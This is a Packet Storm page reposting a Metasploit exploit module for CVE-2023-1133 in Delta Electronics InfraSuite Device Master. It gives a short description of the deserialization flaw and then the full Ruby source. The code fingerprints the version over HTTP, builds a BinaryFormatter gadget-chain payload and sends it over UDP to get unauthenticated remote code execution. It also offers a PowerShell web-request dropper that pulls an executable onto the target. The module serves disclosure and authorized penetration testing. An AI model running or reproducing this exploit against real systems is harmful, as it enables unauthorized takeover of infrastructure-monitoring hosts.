exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Delta Electronics InfraSuite Device Master Deserialization

Delta Electronics InfraSuite Device Master Deserialization
Posted Jun 8, 2023
Authored by anonymous, Shelby Pace | Site metasploit.com

Delta Electronics InfraSuite Device Master versions below 1.0.5 have an unauthenticated .NET deserialization vulnerability within the ParseUDPPacket() method of the Device-Gateway-Status process. The ParseUDPPacket() method reads user-controlled packet data and eventually calls BinaryFormatter.Deserialize() on what it determines to be the packet header without appropriate validation, leading to unauthenticated code execution as the user running the Device-Gateway-Status process.

tags | exploit, code execution
advisories | CVE-2023-1133
SHA-256 | 9f0d3862f019202aea4e14692644ab8356967d12a61b6b3dc1c1b6df8ea0f48c

Delta Electronics InfraSuite Device Master Deserialization

Change Mirror Download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Udp
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Delta Electronics InfraSuite Device Master Deserialization',
'Description' => %q{
Delta Electronics InfraSuite Device Master versions below v1.0.5 have an
unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()'
method of the 'Device-Gateway-Status' process.

The 'ParseUDPPacket()' method reads user-controlled packet data and eventually
calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation,
leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process.
},
'Author' => [
'Anonymous', # Vulnerability discovery
'Shelby Pace' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-1133'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'],
['URL', 'https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133']
],
'Platform' => 'win',
'Privileged' => false,
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Windows EXE Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'CmdStagerFlavor' => :psh_invokewebrequest
}
],
[
'Windows CMD',
{
'Arch' => [ARCH_CMD],
'Type' => :windows_cmd
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-05-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options([
Opt::RPORT(10100),
OptInt.new('INFRASUITE_PORT', [ true, 'The port on which the InfraSuite Manager is listening', 80 ]),
OptString.new('TARGETURI', [ true, 'The base path to the InfraSuite Manager', '/' ])
])
end

def check
print_status('Requesting the login page to determine if target is InfraSuite Device Master...')
res = send_request_cgi(
'method' => 'GET',
'rport' => datastore['INFRASUITE_PORT'],
'uri' => normalize_uri(target_uri.path, 'login.html')
)

return CheckCode::Unknown unless res

unless res.body.include?('InfraSuite Manager Login')
return CheckCode::Safe('Target does not appear to be InfraSuite Device Master.')
end

print_status('Target is InfraSuite Device Master. Now attempting to determine version.')
res = send_request_cgi(
'method' => 'GET',
'rport' => datastore['INFRASUITE_PORT'],
'uri' => normalize_uri(target_uri.path, 'js/webcfg.js')
)

unless res&.body&.include?('var devicemasterCfg')
return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.')
end

version = res.body.match(/version:'(\d+(?:\.\d+)+[a-zA-Z]?)'/)
unless version && version.length > 1
return CheckCode::Detected('Failed to find version string')
end

version = version[1]
vprint_status("Found version '#{version}' of InfraSuite Device Master")
r_vers = Rex::Version.new(version)

return CheckCode::Appears if r_vers < Rex::Version.new('1.0.5')

CheckCode::Safe
end

def exploit
connect_udp
case target['Type']
when :windows_dropper
execute_cmdstager
when :windows_cmd
execute_command(payload.encoded)
end
end

def execute_command(cmd, _opts = {})
serialized = ::Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: :ClaimsPrincipal,
formatter: :BinaryFormatter
)

pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}"
udp_sock.put(pkt)
end

def cleanup
disconnect_udp
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close